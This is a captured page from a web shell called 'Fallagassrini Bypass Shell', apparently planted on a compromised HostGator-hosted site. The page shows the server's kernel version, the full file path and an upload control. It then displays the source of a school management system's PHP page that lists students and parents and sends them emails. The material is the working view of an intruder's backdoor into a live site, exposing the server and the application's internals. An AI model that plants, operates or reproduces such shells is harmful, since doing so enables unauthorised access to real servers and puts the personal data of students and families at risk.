? Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home1/savoy/public_html/savoyglobal.net/eduplus2/application/views/email/

Linux gator3171.hostgator.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
Upload File :
Current File : /home1/savoy/public_html/savoyglobal.net/eduplus2/application/views/email/emaillist.php

<?php
if (!defined('BASEPATH'))
    exit('No direct script access allowed');
$this->load->view('documentreadyfunctions');
$this->load->view('commonfunctions');
$template_details = $this->mastermodel->getdatas('emailtemplate');
?>
<link rel="stylesheet" type="text/css" href="<?= base_url() ?>assets/css/jquery.wysiwyg.css" media="screen" />
<script type="text/javascript" src="<?= base_url() ?>assets/scripts/jquery.wysiwyg.js"></script>
<script type="text/javascript">
    function usetemplate(status)
    {                
        var template_id=status.value;
        if(template_id!=""){
            $.ajax({
                type: "POST",
                url: "<?= site_url('email/gettemplatesubj') ?>/" +template_id,
                success: function(msg)
                {
                    $("#template_subject").val(msg);
                }
            });
            $.ajax({
                type: "POST",
                url: "<?= site_url('email/gettemplatecont') ?>/" +template_id,
                success: function(msg)
                {
                            
                    var myIframe= document.getElementById("undefinedIFrame");
                    var iframeDocument = (myIframe.contentWindow || myIframe.contentDocument);
                    if (iframeDocument.document)
                        iframeDocument = iframeDocument.document;
                    iframeDocument.body.innerHTML = msg;
                    $("#template_contents").val(msg);
                }
            });
        }
        else{
            $("#template_subject").val("");
            var myIframe= document.getElementById("template_contentsIFrame");
            var iframeDocument = (myIframe.contentWindow || myIframe.contentDocument);
            if (iframeDocument.document)
                iframeDocument = iframeDocument.document;
            iframeDocument.body.innerHTML = "";
            $("#template_contents").val("");
            //                             $("#msg_notemp").remove();
            //                            $("#msg_temp").html('<textarea name="template_contents" class="required wysiwyg" cols="50" rows="15" style="width: 700px; margin: 10px 0;"></textarea>  ')
            //                            newtextarea();
                            
        }
    }
    function newtextarea()
    {
        $('.wysiwyg').wysiwyg(
        {
            controls : {
                separator01 : { visible : true },
                separator03 : { visible : true },
                separator04 : { visible : true },
                separator00 : { visible : true },
                separator07 : { visible : false },
                separator02 : { visible : false },
                separator08 : { visible : false },
                insertOrderedList : { visible : true },
                insertUnorderedList : { visible : true },
                undo: { visible : true },
                redo: { visible : true },
                justifyLeft: { visible : true },
                justifyCenter: { visible : true },
                justifyRight: { visible : true },
                justifyFull: { visible : true },
                subscript: { visible : true },
                superscript: { visible : true },
                underline: { visible : true },
                increaseFontSize : { visible : false },
                decreaseFontSize : { visible : false }
            }
        } );
    }
            
    $(document).ready(function(){
        newtextarea();
    });
</script>

<div class="row-fluid">
    <div class="span12">
        <!-- BEGIN EXAMPLE TABLE PORTLET-->
        <div class="portlet box blue">
            <div class="portlet-title">
                <div class="caption" ><i class="icon-cogs"></i>Send Email</div>
                <div class="actions">
                    <a href="#" onclick="addformdisplay('view_send_email','email')"  class="remove"></a>
                </div>
            </div>
            <div class="portlet-body">
                <?php
                $attributes = array('id' => 'validateform', 'class' => 'form-horizontal validate');
                echo form_open('email/insert_email/insertemail/view_email_reports/1/', $attributes);
                ?>


                <table class="table table-striped table-hover table-bordered" >

                    <thead>
                        <tr>
                            <th style="width: 17px;">Sl No.</th>
                            <th>Name</th>
                            <th>Nationality</th>
                            <th>Gender</th>
                            <th>Student Reg No</th>
                            <th>Class Name Code</th>
                            <th>Email</th>
                            <th style="width: 135px;">Type</th>
                            <th style="width: 70px;">
                                <input name="checkall" checked id="checkall" type="checkbox" onchange="checkasll(this)"/>
                            </th>
                        </tr>
                    </thead>
                    <tbody>
                        <?php
                        $slno = 0;
                        if (!empty($viewinfo))
                        {
                            if ($viewinfo->num_rows() > 0)
                            {

                                $sorLst1 = array();
                                $list = $viewinfo->result();
                                foreach ($list as $user)
                                {
                                    $sorLst[] = $user->master_id;
                                }
                                array_multisort($sorLst, SORT_ASC, $list);
                                $list1 = array();
                                foreach ($list as $row)
                                {
                                    if ($row->type == 'Father' || $row->type == 'Mother' || $row->type == 'Student')
                                    {
                                        $std_id = $this->mastermodel->get_single_field_value('student', 'student_id', 'reg_no', $row->reg);
                                        $date = date("d-m-Y");
                                        $class_id = $this->mastermodel->get_single_field_value('class_name', 'class_name_id', 'class_name_code', $row->class_name_code);
                                        $deactivate = $this->studentmodel->check_deactivate($class_id, $std_id, $date);

                                        if ($deactivate == 0)
                                        {

                                            $list1[] = $row;
                                        }
                                    }
                                    else
                                    {
                                        $list1[] = $row;
                                    }
                                }
                                $temp = "";
                                foreach ($list1 as $row)
                                {
                                    ?>
                                    <tr <?php if ($slno % 2 == 0)
                                    { ?>class="first" <?php }
                                    else
                                    { ?> class="second" <?php } ?>>
                                        <td><?php
                            if ($temp != $row->sort_id)
                            {
                                echo++$slno;
                            }
                            $temp = $row->sort_id;
                                    ?>
                                        </td>
                                        <td><?= $row->name; ?></td>
                                        <td><?= $row->nationality; ?></td>
                                        <td><?= $row->gender; ?></td>
            <?php
            if ($row->type == 'Father' || $row->type == 'Mother' || $row->type == 'Student')
            {
                ?>
                                            <td><?= $row->reg; ?></td>
                <?php
            }
            else
            {
                ?>
                                            <td></td>
                                        <?php
                                    }
                                    ?>
                                        <td><?= $row->class_name_code; ?></td>

                                        <td><?= $row->email; ?></td>
                                        <td><?= $row->type; ?></td>
                                        <td>
                                            <div class="actions_menu">
                                                <input type="hidden" name="<?php echo "receipent_name_" . $slno; ?>" value="<?= $row->name; ?>"/>
                                                <input type="hidden" name="<?php echo "receipent_type_" . $slno; ?>" value="<?= $row->type; ?>"/>
                                                <input name="<?php echo "check_email_" . $slno; ?>" checked value="<?= $row->email; ?>" id="check_email" type="checkbox"/>
                                            </div>
                                        </td>
                                    </tr>
                                    <?php
                                }
                            }
                        }
                        ?>
                    <input name="email_count" value="<?= $slno; ?>" type="hidden">
                    </tbody>

                </table>
                <div class="portlet box blue">
                    <div class="portlet-title">
                        <div class="caption"><i class="icon-reorder"></i>Email Information</div>

                    </div>
                    <div class="portlet-body form">
                        <div class="row-fluid">

                            <div class="control-group">
                                <label class="control-label">Use Template</label>
                                <div class="controls">
                                    <select name="template_id" id="template_id" class="span6" onchange="usetemplate(this)">
                                        <option value="" selected>Select Template</option>
                                        <?php foreach ($template_details as $row)
                                        {
                                            ?>
                                            <option value="<?= $row['template_id'] ?>"><?= $row['template_title'] ?></option>
                                            <?php
                                        }
                                        ?>
                                    </select>
                                </div>
                            </div>
                        </div>
                        <div class="row-fluid">

                            <div class="control-group">
                                <label class="control-label">Subject</label>
                                <div class="controls">
                                    <input type="text" class="required span12" name="template_subject" cols="50" id="template_subject" />
                                </div>
                            </div>
                        </div>
                        <div class="row-fluid">

                            <div class="control-group">
                                <label class="control-label">Contents</label>
                                <div class="controls">
                                    <div id="msg_notemp"> <textarea name="template_contents" class="required wysiwyg span12" cols="50" rows="15" style=" margin: 10px 0;"></textarea>  </div>
                                    <div id="msg_temp">

                                    </div>
                                </div>
                            </div>
                        </div>
                    </div>
                </div>   

                <div class="form-actions">
                    <input type="hidden" name="resfunction" value="search_send_email"/>
                    <button type="submit" id="submit" class="clickimage" onclick="addformdata('validateform')">Send</button>
                </div>
                <?php
                echo form_close();
                ?>
            </div>
        </div>
    </div>
</div>

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net